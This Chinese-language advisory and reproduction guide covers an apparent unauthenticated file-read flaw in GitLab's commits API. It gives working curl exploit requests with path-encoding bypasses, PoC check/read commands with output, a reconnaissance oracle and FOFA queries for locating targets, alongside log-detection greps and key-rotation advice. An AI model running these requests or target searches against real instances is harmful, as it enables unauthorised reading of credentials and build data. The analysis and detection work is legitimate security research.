漏洞简介
GitLab CE/EE 是一款被广泛使用的开源代码托管与 CI/CD 平台,自托管部署量在金融、政府、互联网及大型企业研发体系中占据核心位置。CVE-2026-85706 是其中一处未授权路径遍历漏洞,攻击者无需任何账号,即可通过仓库提交 API 触发服务器读取任意本地文件。
漏洞的成因不是单点缺陷,而是四个环节叠加:Workhorse 反向代理与应用服务器 Puma 对 URL 路径的解析认知不一致,攻击者借此绕过上传请求的改写与签名;Rails 侧的文件读取动作被安排在认证之前;读取到的文件内容被送入 Rack 查询串解析器,遇到非法 % 转义时抛出的异常信息又被原样回显进 HTTP 400 响应体。
需要特别指出的是,该漏洞的文件读取动作确实不受权限限制,但内容回显通道存在一个苛刻前提:目标文件内容中必须包含一个孤立的
%字符(即非法的%HH转义)。因此/etc/passwd、secrets.yml这类不含孤立%的文件读不出内容,真正会泄露的是 CI 构建日志与产物、用户上传附件、外置数据库部署的database.yml。网络流传的"一个请求读取任意文件含/etc/passwd"的说法并不准确。
影响范围
部署方式与影响范围无关,Omnibus、源码编译、Docker、Helm/K8s 均受影响。GitLab.com 与 GitLab Dedicated 由官方后台修复,客户无需操作。
漏洞原理
漏洞根因
漏洞位于 lib/api/helpers/commits_body_uploader_helper.rb 模块的 file_params_from_body_upload() 函数中。数据流如下:
核心代码流程:
关键问题:
文件读取发生在
authenticate!之前,认证顺序错位
Workhorse 与 Puma 对路径的编码态认知不一致,导致绕过
解析器原始异常信息被回显给调用方,构成泄露通道
理解漏洞机制
正常请求结构
GitLab 的提交 API 用于单次请求携带多个文件内容。为避免超大请求体直接进入 Rails,Workhorse 会先将请求体落盘为临时文件,再把元数据注入转发请求。正常请求格式如下:
POST /api/v4/projects/1/repository/commits HTTP/1.1
Host: gitlab.example.com
PRIVATE-TOKEN: <token>
Content-Type: multipart/form-data
[Workhorse 缓冲并签名请求体,注入 file.path / file.size]服务端处理流程图:
绕过原理
第一层:认证被安排在文件读取之后。 file_params_from_body_upload() 信任客户端提交的原始参数,而真正的 authenticate! 藏在后续的 authorize_push_to_branch! 内部。文件已经被读完,认证才执行。
第二层:Workhorse 与 Puma 的路径解析差异。 这是整个漏洞最精妙的部分,同一路径在两个组件眼中是两个样子:
Workhorse 的上传路由正则严格锚定结尾 \z:
^/api/v4/projects/[^/]+/repository/commits\z于是两种写法都能绕过:
POST .../repository/commits/—— 尾部加斜杠,不匹配\z
POST .../repository/%63ommits——%63即c,Workhorse 看到编码态,不匹配
Workhorse 未命中,不做 body-upload 缓冲与 JWT 签名,攻击者伪造的原始参数原样透传给 Rails。而 Puma 解码 %63ommits 后归一化为 commits,正常路由到漏洞 handler。
第三层:Rack 解析错误成为泄露通道。 当请求中的 Content-Type 参数(注意不是 HTTP 头)被设为 application/x-www-form-urlencoded 时,Rails 会把读到的文件内容交给 Rack::Utils.parse_nested_query() 解析。文件内容中若出现孤立的 %,Rack 抛出:
ArgumentError: invalid %-encoding (<文件内容>)修复前该异常信息被直接拼进 HTTP 400 响应体,文件内容就此逐字泄露。
完整攻击链路
漏洞复现
准备环境
复现步骤
步骤 1:确认目标可访问
# 探测目标是否在线
curl -s -o /dev/null -w "%{http_code}\n" http://target:8929/users/sign_in预期响应:
返回 200 → 目标在线,是 GitLab 实例
返回 302 → 可能已跳转登录页,仍属正常
连接超时 → 防火墙拦截或主机离线
步骤 2:创建公开项目
登录 GitLab 管理后台,新建一个 Visibility Level 为 Public 的项目并初始化 README,记下项目 ID(通常为 1)。
该步骤是漏洞触发的前置条件。若实例无任何公开项目,
commits路径会返回404 Project Not Found。
步骤 3:漏洞检测
python3 poc/CVE-2026-85706.py check --url http://target:8929 --project 1受影响版本的典型输出:
form commits-trailing-slash HTTP 400 VULNERABLE:existence-oracle
form commits-json-suffix HTTP 400 VULNERABLE:existence-oracle
form commits-canonical HTTP 401 NOT-VULNERABLE(auth required)
[*] Workhorse bypass probe (same route, sent with and without the 'file' parameter)
commits-trailing-slash without 'file' HTTP 400 {"error":"file is missing"}
commits-trailing-slash with 'file=' HTTP 400 VULNERABLE:existence-oracle
[!] VULNERABLE - the endpoint evaluated an attacker supplied file path before authenticating.判断标准:
commits-canonical返回 401 是对照组 → 该路径下 Workhorse 正常改写了file.path,攻击者的值未到达漏洞代码
commits-trailing-slash返回 400 → 绕过成立,存在漏洞
步骤 4:读取文件
python3 poc/CVE-2026-85706.py read --url http://target:8929 --project 1 --file /tmp/cve-2026-85706/canary.txt泄露成功时的输出:
[*] baseline probe (/tmp/this-file-does-not-exist-627748): HTTP 400 -> target build is VULNERABLE
form commits-trailing-slash HTTP 400 LEAK! content disclosed via the Rack parser error
form commits-canonical HTTP 401 EXISTS, parsed without error -> authentication required步骤 5:手工验证
最小可复现请求:
curl -sk -X POST "http://target:8929/api/v4/projects/1/repository/commits/?file=&file.path=%2Fetc%2Fpasswd&file.size=1&Content-Type=application/x-www-form-urlencoded"注意: 对
/etc/passwd只会返回401(文件可读但无孤立%,不回显内容)。要看到内容,需换成含%的文件。
curl -sk -X POST "http://target:8929/api/v4/projects/1/repository/commits/?file=&file.path=%2Ftmp%2Fcve-2026-85706%2Fcanary.txt&file.size=1&Content-Type=application/x-www-form-urlencoded"预期响应:
{"message":"400 Bad request - Invalid parameter: invalid %-encoding (SECRET-CANARY-627748-%%%)"}步骤 6:四态 oracle 判读
该漏洞的响应构成一个四态 oracle,可直接用于无认证侦察:
步骤 7:分支差异对比
同一参数,仅切换 Content-Type 参数值,行为完全不同:
结论: 只有 form 分支能泄露内容。JSON 分支(
Oj.load_file)不会回显文件字节。网上流传的-H "Content-Type: application/json" -d '{"file":{"path":"/etc/passwd"}}'写法完全无效。
利用后验证
检查日志痕迹
查看 Nginx 访问日志与 GitLab API 日志:
grep -E "repository/(commits|files)" /var/log/nginx/gitlab_access.log | grep "file.path"
grep "file.path" /var/log/gitlab/gitlab-rails/api_json.log
grep -E "invalid %-encoding|local file not present" /var/log/gitlab/gitlab-rails/api_json.log典型日志样本:
POST /api/v4/projects/1/repository/commits/?file=&file.path=/var/opt/gitlab/gitlab-rails/etc/gitlab.yml&file.size=1&Content-Type=application/x-www-form-urlencoded重点关注尾斜杠与 .json 变体,以及返回 400 且响应体含 invalid %-encoding 的请求。
密钥轮换
由于文件读取本身不受限制,必须假定密钥已泄露,需全量轮换:
gitlab-secrets.json(secret_key_base、db_key_base、otp_key_base)
数据库凭据、对象存储密钥
CI/CD 变量、部署令牌、Runner 注册令牌
SSH 密钥、云凭据
审计流水线
排查 Runner 与流水线是否存在恶意代码注入、构建产物篡改,并清理新增或高权限账号。
FOFA 语法
识别 GitLab 实例
title="GitLab"识别 GitLab 版本指纹
body="gon.gitlab_version"组合检索 / 限定中国大陆资产
title="GitLab" && country="CN"使用提示: FOFA 无法直接识别版本号,命中结果需用 PoC 的
check子命令二次确认。若目标无公开项目,可改试files路径(/repository/%66iles/),其对项目的要求更宽松。